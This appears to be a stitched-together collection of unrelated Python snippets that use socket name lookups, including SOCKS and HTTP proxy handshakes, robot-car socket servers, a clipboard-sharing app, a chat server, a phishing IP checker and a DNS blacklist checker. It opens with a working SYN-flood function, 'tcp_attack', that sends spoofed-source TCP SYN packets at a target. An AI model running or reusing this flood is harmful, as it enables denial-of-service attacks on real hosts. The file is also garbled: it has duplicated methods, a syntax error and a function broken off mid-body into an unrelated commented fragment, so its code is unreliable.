def tcp_attack(target, port, nbr):
try:
from scapy.all import *
except:
print("Scapy importation error")
try:
import socket
import random
conf.iface = 'wlan0'
ip = IP()
try:
ip.dst = socket.gethostbyname(target)
except:
print("Couldn't get the IP of the target")
print("target IP : " + ip.dst)
c = 0
tcp = TCP()
tcp.flags = 'S'
tcp.dport = int(port)
while c <= nbr:
ip.src = "%i.%i.%i.%i" % (random.randint(
1, 254), random.randint(1, 254), random.randint(
1, 254), random.randint(1, 254))
tcp.sport = RandShort()
packet = ip / tcp
send(packet, verbose=0)
if c % 20 == 0:
print(str(c * 100 / nbr) + " %")
c += 1
history_write("tcp %s\n" % target)
return 0
except:
return 1
def __negotiatehttp(self, destaddr, destport):
"""__negotiatehttp(self,destaddr,destport)
Negotiates a connection through an HTTP server.
"""
# If we need to resolve locally, we do this now
if not self.__proxy[3]:
addr = socket.gethostbyname(destaddr)
else:
addr = destaddr
headers = ["CONNECT ", addr, ":", str(destport), " HTTP/1.1\r\n"]
headers += ["Host: ", destaddr, "\r\n"]
if (self.__proxy[4] != None and self.__proxy[5] != None):
headers += [self.__getauthheader(), "\r\n"]
headers.append("\r\n")
self.sendall("".join(headers).encode())
# We read the response until we get the string "\r\n\r\n"
resp = self.recv(1)
while resp.find("\r\n\r\n".encode()) == -1:
resp = resp + self.recv(1)
# We just need the first line to check if the connection
# was successful
statusline = resp.splitlines()[0].split(" ".encode(), 2)
if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()):
self.close()
raise GeneralProxyError((1, _generalerrors[1]))
try:
statuscode = int(statusline[1])
except ValueError:
self.close()
raise GeneralProxyError((1, _generalerrors[1]))
if statuscode != 200:
self.close()
raise HTTPError((statuscode, statusline[2]))
self.__proxysockname = ("0.0.0.0", 0)
self.__proxypeername = (addr, destport)
def __init__(self, host2, port2):
# assign value to shared data variable
RangeFinderServer.brake = True
RangeFinderServer.warning = []
# server socket and port
self.server_socket = socket.socket()
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1)
self.server_socket.bind((host2, port2))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# while VideoStreamServer.color is still empty
while (VideoStreamServer.color == []):
# if kill switch for threading is activated
if (LatchingSwitch.tr_alive != True):
# break from while loop
break
# rest for 0.1 second
time.sleep(0.1)
# execute server receiving
self.receiving()
def comprobar_p():
z = re.search(r'IP:\w+.\w+.\w+.\w+', str(self.myipwhois("r"))).group()
z = str(z).lstrip("IP:")
if z == socket.gethostbyname(self.url1)
e = "no existe ninguna intervercion con el dominio solicitado"
else:
e = "las resultados dns onlines y locales no coinciden \n o existe un servidor espejo en su red \n te sujiero cambiar tu dns"
return e
def Arguments():
host = argv[2].replace(
"http://", "").replace("https://", "").replace("www.", "")
host = socket.gethostbyname(host)
if argv[3] == "--all":
for port in range(20, 65535):
Connection(host, port)
elif argv[3] == "--port":
port = argv[4].split("-")
for i in port:
Connection(host, int(i))
def __init__(self, host1, port1):
# server socket and port
self.server_socket = socket.socket()
self.server_socket.bind((host1, port1))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.connection = self.connection.makefile('rb')
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# execute server receiving
self.receiving()
def __init__(self, host2, port2):
# server socket and port
self.server_socket = socket.socket()
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1)
self.server_socket.bind((host2, port2))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# execute server receiving
self.receiving()
def _nego_socks4(self, proxy, address):
def recv(length):
data = ""
while len(data) < length:
data = data + self.recv(length-len(data))
return data
# Check if the destination address provided is an IP address
rmtrslv = False
try:
ipaddr = socket.inet_aton(address[0])
except socket.error:
# It's a DNS name. Check where it should be resolved.
if proxy.rdns:
ipaddr = "\x00\x00\x00\x01"
rmtrslv = True
else:
ipaddr = inet_aton(socket.gethostbyname(address[0]))
# Construct the request packet
req = "\x04\x01" + struct.pack(">H", address[1]) + ipaddr
# The username parameter is considered userid for SOCKS4
if proxy.user != None:
req = req + proxy.user
req = req + "\x00"
# DNS name if remote resolving is required
# NOTE: This is actually an extension to the SOCKS4 protocol
# called SOCKS4A and may not be supported in all cases.
if rmtrslv==True:
req = req + address[0] + "\x00"
self.sendall(req)
# Get the response from the server
resp = recv(8)
if resp[0] != "\x00":
# Bad data
self.close()
raise ProxyError('invlid data from socks4 proxy server')
if resp[1] != "\x5A":
# Server returned an error
self.close()
if ord(resp[1]) in ('0x5b', '0x5c', '0x5d'):
self.close()
raise ProxyError('socks4 proxy error: %d' %ord(resp[1]))
else:
raise ProxyError('socks4 proxy error: unknown')
# Get the bound address/port
self.so_proxy_sock = (inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])
if rmtrslv != None:
self.so_proxy_peer = (inet_ntoa(ipaddr),address[1])
else:
self.so_proxy_peer = address
def __init__(self, host2, port2):
# assign value to shared data variable
RangeFinderServer.brake = True
# server socket and port
self.server_socket = socket.socket()
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server_socket.bind((host2, port2))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# execute server receiving
self.receiving()
def __init__(self, host1, port1):
# assign value to shared data variable
VideoStreamServer.color = []
VideoStreamServer.grayscale = []
# server socket and port
self.server_socket = socket.socket()
self.server_socket.bind((host1, port1))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.connection = self.connection.makefile('rb')
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# execute server receiving
self.receiving()
def __init__(self, host1, port1):
# server socket and port
self.server_socket = socket.socket()
self.server_socket.bind((host1, port1))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.connection = self.connection.makefile('rb')
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# maximum red color range in ycrcb colouring
self.upper_red = np.array(apv.upred)
# minimum red color range in ycrcb colouring
self.lower_red = np.array(apv.lowred)
# execute server receiving
self.receiving()
def __negotiatesocks4(self,destaddr,destport):
"""__negotiatesocks4(self,destaddr,destport)
Negotiates a connection through a SOCKS4 server.
"""
# Check if the destination address provided is an IP address
rmtrslv = False
try:
ipaddr = socket.inet_aton(destaddr)
except socket.error:
# It's a DNS name. Check where it should be resolved.
if self.__proxy[3]:
ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01)
rmtrslv = True
else:
ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
# Construct the request packet
req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr
# The username parameter is considered userid for SOCKS4
if self.__proxy[4] != None:
req = req + self.__proxy[4]
req = req + chr(0x00).encode()
# DNS name if remote resolving is required
# NOTE: This is actually an extension to the SOCKS4 protocol
# called SOCKS4A and may not be supported in all cases.
if rmtrslv:
req = req + destaddr + chr(0x00).encode()
self.sendall(req)
# Get the response from the server
resp = self.__recvall(8)
if resp[0:1] != chr(0x00).encode():
# Bad data
self.close()
raise GeneralProxyError((1,_generalerrors[1]))
if resp[1:2] != chr(0x5A).encode():
# Server returned an error
self.close()
if ord(resp[1:2]) in (91, 92, 93):
self.close()
raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90]))
else:
raise Socks4Error((94, _socks4errors[4]))
# Get the bound address/port
self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0])
if rmtrslv != None:
self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
else:
self.__proxypeername = (destaddr, destport)
def checkPhishIPstats(url, hostname):
url_match = re.search('at\.ua|usa\.cc|baltazarpresentes\.com\.br|pe\.hu|esy\.es|hol\.es|sweddy\.com|myjino\.ru|96\.lt|ow\.ly',url)
try:
ip = socket.gethostbyname(hostname)
except:
pass
#something?
ip_match=re.search('146\.112\.61\.108|213\.174\.157\.151|121\.50\.168\.88|192\.185\.217\.116|78\.46\.211\.158|181\.174\.165\.13|46\.242\.145\.103|121\.50\.168\.40|83\.125\.22\.219|46\.242\.145\.98|'
'107\.151\.148\.44|107\.151\.148\.107|64\.70\.19\.203|199\.184\.144\.27|107\.151\.148\.108|107\.151\.148\.109|119\.28\.52\.61|54\.83\.43\.69|52\.69\.166\.231|216\.58\.192\.225|'
'118\.184\.25\.86|67\.208\.74\.71|23\.253\.126\.58|104\.239\.157\.210|175\.126\.123\.219|141\.8\.224\.221|10\.10\.10\.10|43\.229\.108\.32|103\.232\.215\.140|69\.172\.201\.153|'
'216\.218\.185\.162|54\.225\.104\.146|103\.243\.24\.98|199\.59\.243\.120|31\.170\.160\.61|213\.19\.128\.77|62\.113\.226\.131|208\.100\.26\.234|195\.16\.127\.102|195\.16\.127\.157|'
'34\.196\.13\.28|103\.224\.212\.222|172\.217\.4\.225|54\.72\.9\.51|192\.64\.147\.141|198\.200\.56\.183|23\.253\.164\.103|52\.48\.191\.26|52\.214\.197\.72|87\.98\.255\.18|209\.99\.17\.27|'
'216\.38\.62\.18|104\.130\.124\.96|47\.89\.58\.141|78\.46\.211\.158|54\.86\.225\.156|54\.82\.156\.19|37\.157\.192\.102|204\.11\.56\.48|110\.34\.231\.42',ip)
if url_match or ip_match:
return -1
else:
return 1
def __init__(self, host4, port4):
# futaba controller channel 1
self.left = apv.left
self.right = apv.right
self.center = apv.center
# futaba controller channel 3
self.backward = apv.mbackward
self.forward = apv.mforward
self.stop = apv.stop
# server socket
self.server_socket = socket.socket()
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1)
self.server_socket.bind((host4, port4))
self.server_socket.listen(0)
self.connection, self.client_address = self.server_socket.accept()
self.host_name = socket.gethostname()
self.host_ip = socket.gethostbyname(self.host_name)
# execute server receiving
self.receiving()
def __negotiatesocks5(self, destaddr, destport):
"""__negotiatesocks5(self,destaddr,destport)
Negotiates a connection through a SOCKS5 server.
"""
# First we'll send the authentication packages we support.
if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
# The username/password details were supplied to the
# setproxy method so we support the USERNAME/PASSWORD
# authentication (in addition to the standard none).
self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02))
else:
# No username/password were entered, therefore we
# only support connections with no authentication.
self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00))
# We'll receive the server's response to determine which
# method was selected
chosenauth = self.__recvall(2)
if chosenauth[0:1] != chr(0x05).encode():
self.close()
raise GeneralProxyError((1, _generalerrors[1]))
# Check the chosen authentication method
if chosenauth[1:2] == chr(0x00).encode():
# No authentication is required
pass
elif chosenauth[1:2] == chr(0x02).encode():
# Okay, we need to perform a basic username/password
# authentication.
self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5])
authstat = self.__recvall(2)
if authstat[0:1] != chr(0x01).encode():
# Bad response
self.close()
raise GeneralProxyError((1, _generalerrors[1]))
if authstat[1:2] != chr(0x00).encode():
# Authentication failed
self.close()
raise Socks5AuthError((3, _socks5autherrors[3]))
# Authentication succeeded
else:
# Reaching here is always bad
self.close()
if chosenauth[1] == chr(0xFF).encode():
raise Socks5AuthError((2, _socks5autherrors[2]))
else:
raise GeneralProxyError((1, _generalerrors[1]))
# Now we can request the actual connection
req = struct.pack('BBB', 0x05, 0x01, 0x00)
# If the given destination address is an IP address, we'll
# use the IPv4 address request even if remote resolving was specified.
try:
ipaddr = socket.inet_aton(destaddr)
req = req + chr(0x01).encode() + ipaddr
except socket.error:
# Well it's not an IP number, so it's probably a DNS name.
if self.__proxy[3]:
# Resolve remotely
ipaddr = None
req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr
else:
# Resolve locally
ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
req = req + chr(0x01).encode() + ipaddr
req = req + struct.pack(">H", destport)
self.sendall(req)
# Get the response
resp = self.__recvall(4)
if resp[0:1] != chr(0x05).encode():
self.close()
raise GeneralProxyError((1, _generalerrors[1]))
elif resp[1:2] != chr(0x00).encode():
# Connection failed
self.close()
if ord(resp[1:2])<=8:
raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])]))
else:
raise Socks5Error((9, _socks5errors[9]))
# Get the bound address/port
elif resp[3:4] == chr(0x01).encode():
boundaddr = self.__recvall(4)
elif resp[3:4] == chr(0x03).encode():
resp = resp + self.recv(1)
boundaddr = self.__recvall(ord(resp[4:5]))
else:
self.close()
raise GeneralProxyError((1,_generalerrors[1]))
boundport = struct.unpack(">H", self.__recvall(2))[0]
self.__proxysockname = (boundaddr, boundport)
if ipaddr != None:
self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
else:
self.__proxypeername = (destaddr, destport)
def all_sync(event=0):
def get_myclip():
global old_clip
server_clip = pyperclip.paste()
if old_clip != server_clip:
old_clip = server_clip
return server_clip, True
else:
return server_clip, False
def add_user(work_mode, timeout=1):
global user_list
sock.settimeout(timeout)
try:
conn, addr = sock.accept()
except:
return
name = pickle.loads(conn.recv(1024))
conn.send(pickle.dumps(work_mode))
user_list[name] = (conn, addr)
print(name, "connected from ip", addr[0])
def all_sync():
global user_list, clip, clip_user, clip_ch_flag
global old_clip
server_clip, ch_flag = get_myclip()
if ch_flag:
print("clip changed to server clip")
for j in user_list:
user_list[j][0].send(pickle.dumps([server_clip, "clip"]))
return
if clip_ch_flag:
clip_ch_flag = False
print("clip changed to ", clip_user, " clip")
for j in user_list:
user_list[j][0].send(pickle.dumps([clip, "clip"]))
def port_bind(event):
port = entry_port.get()
if not port.isdigit() or int(port) in range(0, 1024):
entry_port.delete(0, END)
entry_port.insert(0, "Incorrect port")
entry_port.after(1000, lambda: entry_port.delete(0, END))
return
entry_port.destroy()
port_label_value = Label(text=port, bg="#33FFFF", fg="white")
port_label_value.place(x=55, y=40)
start_button["text"] = "Exit"
start_button.bind("<Button-1>", func=lambda x: exit())
status_label["text"] = "Starting server"
status_label["bg"] = "orange"
sock.bind(('', int(port)))
sock.listen(10)
work_thread.start()
status_label["text"] = "Server started"
status_label["bg"] = "green"
def thread_cycle(event=0):
global work_mode
while True:
add_user(work_mode)
recive_server_controller()
all_sync()
sleep(1)
work_thread = Thread(target=thread_cycle)
root.destroy()
window = Tk()
window.resizable(False, False)
window.geometry("200x220")
window.title("Server sync mode | server")
entry_port = Entry(width=15)
port_label = Label(text="Port")
start_button = Button(window, text="Start", width=17)
status_label = Label(text="Server stopped", bg="red", height=1, width=20)
nick_name_label = Label(text="Your nickname is Server",
bg="#00CCFF",
fg="white",
height=1,
width=20)
ip_label = Label(text=("Your IP is {}".format(
socket.gethostbyname(socket.gethostname()))),
bg="#00CCFF",
fg="white",
height=1,
width=20)
ip_label.place(x=25, y=160)
nick_name_label.place(x=20, y=10)
status_label.place(x=25, y=180)
port_label.place(x=25, y=40)
entry_port.place(x=55, y=40)
start_button.place(x=35, y=70)
start_button.bind("<Button-1>", func=port_bind)
window.mainloop()
from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread, Lock
HOST = ''
PORT = 5500
BUFSIZ = 1024
ADDR = (HOST, PORT)
SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.bind(ADDR)
HOST_NAME = socket.gethostname()
HOST_IP = socket.gethostbyname(HOST_NAME)
def broadcast(msg):
pass
def exception_quit():
pass
def connection_handler(client_socket):
first_message = 'Welcome to the chat' + 'You can type {quit} to exit' + 'Now, please type in your name'
client_socket.send(bytes(first_message, "utf8"))
name = client_socket.recv(BUFSIZ).decode("utf8")
sec_message = f"{name} has joined the chat. Welcome!"
broadcast(sec_message)
no_error = True
while no_error:
try:
msg = client_socket.recv(BUFSIZ).decode("utf8")
# fw = open(write_dir + str(i[TCP].seq), 'w') # fw = open(write_dir + str(1), 'wb') # fw.write(str.encode(hex_resp)) # fw.close() # send_ack(tcp_obj, tcp_obj.pkt[TCP].seq, i[TCP].seq + (len(hex_resp) / 2)) ''' if __name__ == "__main__": # dst_name = "primus.cs.duke.edu" dst_name = "www.facebook.com" dst_ip = socket.gethostbyname(dst_name) dst_port = 443 timeout = 0.3 curr_dir = os.getcwd() if curr_dir[len(curr_dir) - 1] != '/': curr_dir += '/' # t = multiprocessing.Process(target=sniffer_simple, args=(tcp_obj, tcp_obj.src_port, tcp_obj.dst_port, tcp_obj.src_ip, tcp_obj.dst_ip, timeout, curr_dir + 'resp_pkts/',)) # t.start() tls_version = TLSVersion.TLS_1_2 ciphers = [TLSCipherSuite.ECDHE_RSA_WITH_AES_128_GCM_SHA256] extensions = [TLSExtension() / TLSExtECPointsFormat(), TLSExtension() / TLSExtSupportedGroups()]
def A_t_a_mode(event=0):
def add_user(work_mode, timeout=1):
global user_list
sock.settimeout(timeout)
try:
conn, addr = sock.accept()
except:
return
name = pickle.loads(conn.recv(1024))
conn.send(pickle.dumps(work_mode))
user_list[name] = (conn, addr)
lbox.insert(0, name)
def all_to_all_send_recv():
global clip, clip_ch_flag, user_list, request, request_ch_flag, clip_user, request_user
if request_ch_flag:
request_ch_flag = False
if request != "user_list_get":
if request == "server":
user_list[request_user][0].send(
pickle.dumps([pyperclip.paste(), "clip"]))
return
user_list[request][0].send(
pickle.dumps(["get_clip", "request"]))
while True:
if clip_ch_flag:
clip_ch_flag = False
user_list[request_user][0].send(
pickle.dumps([clip, "clip"]))
break
else:
user_list[request_user][0].send(
pickle.dumps([[i for i in user_list] + ["server"],
"user_list"]))
print("user list send")
def server_get_clip(event):
global clip, clip_ch_flag, user_list, request, request_ch_flag, clip_user, request_user
try:
name = lbox.get(lbox.curselection())
except:
return
print(user_list)
user_list[name][0].send(pickle.dumps(["get_clip", "request"]))
while True:
if clip_ch_flag:
clip_ch_flag = False
pyperclip.copy(clip)
print("clip pasted to clip", name)
break
sleep(0.1)
def entry_bind(event):
port = entry_port.get()
if not port.isdigit() or int(port) in range(0, 1024):
entry_port.delete(0, END)
entry_port.insert(0, "Incorrect port")
entry_port.after(1000, lambda: entry_port.delete(0, END))
return
entry_port.destroy()
port_label_value = Label(text=port, bg="#33FFFF", fg="white")
port_label_value.place(x=55, y=40)
start_button["text"] = "Exit"
start_button.bind("<Button-1>", func=lambda x: exit())
status_label["text"] = "Starting server"
status_label["bg"] = "orange"
sock.bind(('', int(port)))
sock.listen(10)
work_thread.start()
status_label["text"] = "Server started"
status_label["bg"] = "green"
def thread_cycle(event=0):
global work_mode
while True:
add_user(work_mode)
recive_server_controller()
all_to_all_send_recv()
sleep(1)
work_thread = Thread(target=thread_cycle)
work_thread.daemon = True
root.destroy()
window = Tk()
window.resizable(False, False)
window.geometry("400x220")
window.title("A-t-A mode | server")
get_clip_button = Button(window, text="Get Clipboard")
lbox = Listbox(width=20, height=10)
entry_port = Entry(width=15)
port_label = Label(text="Port")
start_button = Button(window, text="Start", width=17)
status_label = Label(text="Server stopped", bg="red", height=1, width=20)
nick_name_label = Label(text="Your nickname is Server",
bg="#00CCFF",
fg="white",
height=1,
width=20)
ip_label = Label(text=("Your IP is {}".format(
socket.gethostbyname(socket.gethostname()))),
bg="#00CCFF",
fg="white",
height=1,
width=20)
ip_label.place(x=25, y=160)
nick_name_label.place(x=25, y=10)
status_label.place(x=25, y=180)
port_label.place(x=25, y=40)
entry_port.place(x=55, y=40)
start_button.place(x=25, y=70)
lbox.place(x=250, y=10)
get_clip_button.place(x=270, y=180)
start_button.bind("<Button-1>", func=entry_bind)
get_clip_button.bind("<Button-1>", func=server_get_clip)
window.mainloop()
def _nego_socks5(self, proxy, address):
def recv(length):
data = ""
while len(data) < length:
data = data + self.recv(length-len(data))
return data
# First we'll send the authentication packages we support.
if proxy.user and proxy.password:
# The username/password details were supplied to the
# setproxy method so we support the USERNAME/PASSWORD
# authentication (in addition to the standard none).
self.sendall("\x05\x02\x00\x02")
else:
# No username/password were entered, therefore we
# only support connections with no authentication.
self.sendall("\x05\x01\x00")
# We'll receive the server's response to determine which
# method was selected
chosenauth = recv(2)
if chosenauth[0] != "\x05":
self.close()
raise ProxyError('socks5 proxy is not supported by server')
# Check the chosen authentication method
if chosenauth[1] == "\x00":
# No authentication is required
pass
elif chosenauth[1] == "\x02":
# Okay, we need to perform a basic username/password
# authentication.
self.sendall("\x01" + chr(len(proxy.user)) + proxy.user + chr(len(proxy.password)) + proxy.password)
authstat = recv(2)
if authstat[0] != "\x01":
# Bad response
self.close()
raise ProxyError('bad authentication request')
if authstat[1] != "\x00":
# Authentication failed
self.close()
raise ProxyError('Authentication failed')
# Authentication succeeded
else:
# Reaching here is always bad
self.close()
if chosenauth[1] == "\xFF":
raise ProxyError('connection not allowed by ruleset')
else:
raise ProxyError('invalid data from socks5 proxy server')
# Now we can request the actual connection
req = "\x05\x01\x00"
# If the given destination address is an IP address, we'll
# use the IPv4 address request even if remote resolving was specified.
try:
ipaddr = inet_aton(address[0])
req = req + "\x01" + ipaddr
except socket.error:
# Well it's not an IP number, so it's probably a DNS name.
if proxy.rdns:
# Resolve remotely
ipaddr = None
req = req + "\x03" + chr(len(address[0])) + address[0]
else:
# Resolve locally
ipaddr = inet_aton(socket.gethostbyname(address[0]))
req = req + "\x01" + ipaddr
req = req + struct.pack(">H", address[1])
self.sendall(req)
# Get the response
resp = recv(4)
if resp[0] != "\x05":
self.close()
raise ProxyError('socks5 proxy is not supported by server')
elif resp[1] != "\x00":
# Connection failed
self.close()
if ord(resp[1])<=8:
raise ProxyError('socks5 proxy error: %d' %ord(resp[1]))
else:
raise ProxyError('socks5 proxy error: unknown')
# Get the bound address/port
elif resp[3] == "\x01":
boundaddr = recv(4) #IPv4 address
elif resp[3] == "\x03":
resp = resp + recv(1)
boundaddr = recv(ord(resp[4])) #Domain name
elif resp[3] == "\x04":
boundaddr = recv(16) #IPv6 address
else:
self.close()
raise ProxyError('invlid data from socks5 proxy server')
boundport = struct.unpack(">H",recv(2))[0]
self.so_proxy_sock = (boundaddr, boundport)
if ipaddr != None:
self.so_peer = (inet_ntoa(ipaddr), address[1])
else:
self.so_peer = address
def client_main(args, tun):
url = urlparse.urlparse(args.url)
if ':' in url.netloc:
host, port = url.netloc.split(':')
port = int(port)
else:
host, port = url.netloc, 80
host_ip = socket.gethostbyname(host)
def get():
sock = socket.socket()
sock.connect((host, port))
logger.info("GET %s", args.url)
sock.sendall('GET %s HTTP/1.1\r\n' % url.path)
sock.sendall('Host: %s\r\n' % url.netloc)
sock.sendall('Accept: */*\r\n')
sock.sendall('\r\n')
f = sock.makefile('r', 0)
while f.readline().strip():
# read until blank line
pass
for data in read_connection(f):
logger.debug('< %dB', len(data))
os.write(tun.fd, data)
logger.warning("quit get")
def post():
sock = socket.socket()
sock.connect((host, port))
logger.info("POST %s", args.url)
sock.sendall('POST %s HTTP/1.1\r\n' % url.path)
sock.sendall('Host: %s\r\n' % url.netloc)
sock.sendall('Accept: */*\r\n')
sock.sendall('\r\n')
for data in read_tun(tun):
logger.debug('> %dB', len(data))
sock.sendall(data)
logger.warning("quit post")
t1 = threading.Thread(target=get)
t1.setDaemon(True)
t2 = threading.Thread(target=post)
t2.setDaemon(True)
t1.start()
t2.start()
gateway = get_default_gateway()
if args.down:
atexit.register(on_down, args.down)
add_route(host_ip + '/32', gateway)
if args.default_gateway:
logger.info("set default gateway")
call(['route', 'delete', 'default'])
check_call(['route', 'add', 'default', args.peer_ip])
atexit.register(restore_gateway)
if args.up:
logger.info("Run up script")
check_call(args.up)
try:
while t1.is_alive() and t2.is_alive():
time.sleep(5)
except KeyboardInterrupt:
pass
def blacklist_check(hst):
serverlist = [
',access.redhawk.org',
'b.barracudacentral.org',
'bl.shlink.org',
'bl.spamcannibal.org',
'bl.spamcop.net',
'bl.tiopan.com',
'blackholes.wirehub.net',
'blacklist.sci.kun.nl',
'block.dnsbl.sorbs.net',
'blocked.hilli.dk',
'bogons.cymru.com',
'cart00ney.surriel.com',
'cbl.abuseat.org',
'cblless.anti-spam.org.cn',
'dev.null.dk',
'dialup.blacklist.jippg.org',
'dialups.mail-abuse.org',
'dialups.visi.com',
'dnsbl.abuse.ch',
'dnsbl.anticaptcha.net',
'dnsbl.antispam.or.id',
'dnsbl.dronebl.org',
'dnsbl.justspam.org',
'dnsbl.kempt.net',
'dnsbl.sorbs.net',
'dnsbl.tornevall.org',
'dnsbl-1.uceprotect.net',
'duinv.aupads.org',
'dnsbl-2.uceprotect.net',
'dnsbl-3.uceprotect.net',
'dul.dnsbl.sorbs.net',
'dul.ru',
'escalations.dnsbl.sorbs.net',
'hil.habeas.com',
'black.junkemailfilter.com',
'http.dnsbl.sorbs.net',
'intruders.docs.uu.se',
'ips.backscatterer.org',
'korea.services.net',
'l2.apews.org',
'mail-abuse.blacklist.jippg.org',
'misc.dnsbl.sorbs.net',
'msgid.bl.gweep.ca',
'new.dnsbl.sorbs.net',
'no-more-funn.moensted.dk',
'old.dnsbl.sorbs.net',
'opm.tornevall.org',
'pbl.spamhaus.org',
'proxy.bl.gweep.ca',
'dyna.spamrats.com',
'spam.spamrats.com',
'psbl.surriel.com',
'pss.spambusters.org.ar',
'rbl.schulte.org',
'rbl.snark.net',
'recent.dnsbl.sorbs.net',
'relays.bl.gweep.ca',
'relays.bl.kundenserver.de',
'relays.mail-abuse.org',
'relays.nether.net',
'rsbl.aupads.org',
'sbl.spamhaus.org',
'smtp.dnsbl.sorbs.net',
'socks.dnsbl.sorbs.net',
'spam.dnsbl.sorbs.net',
'spam.olsentech.net',
'spamguard.leadmon.net',
'spamsources.fabel.dk',
'tor.ahbl.org',
'tor.dnsbl.sectoor.de',
'ubl.unsubscore.com',
'web.dnsbl.sorbs.net',
'xbl.spamhaus.org',
'zen.spamhaus.org',
'zombie.dnsbl.sorbs.net',
'dnsbl.inps.de',
'dyn.shlink.org',
'rbl.megarbl.net',
'bl.mailspike.net'
]
queue = Queue.Queue()
global on_blacklist
on_blacklist = []
class ThreadRBL(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
#grabs host from queue
hostname,root_name = self.queue.get()
check_host = "%s.%s" % (hostname, root_name)
try:
setdefaulttimeout(5)
check_addr = gethostbyname(check_host)
except error:
check_addr = None
if check_addr != None and "127.0.0." in check_addr:
on_blacklist.append(root_name)
#signals to queue job is done
self.queue.task_done()
host = None
addr = hst
if host:
try:
addr = socket.gethostbyname(host)
except:
return "ERROR: Host '%s' not found - maybe try a FQDN?" % host
addr_parts = string.split(addr, '.')
addr_parts.reverse()
check_name = string.join(addr_parts, '.')
host = addr
for i in range(5):
t = ThreadRBL(queue)
t.setDaemon(True)
t.start()
#populate queue with data
for blhost in serverlist:
queue.put((check_name,blhost))
queue.join()
#sleep(5)
if len(on_blacklist) >= 0:
return 'ERROR',' %s on %s spam blacklists|%s' % (host,len(on_blacklist),on_blacklist)
else:
return 'OK', '%s not on known spam blacklists' % host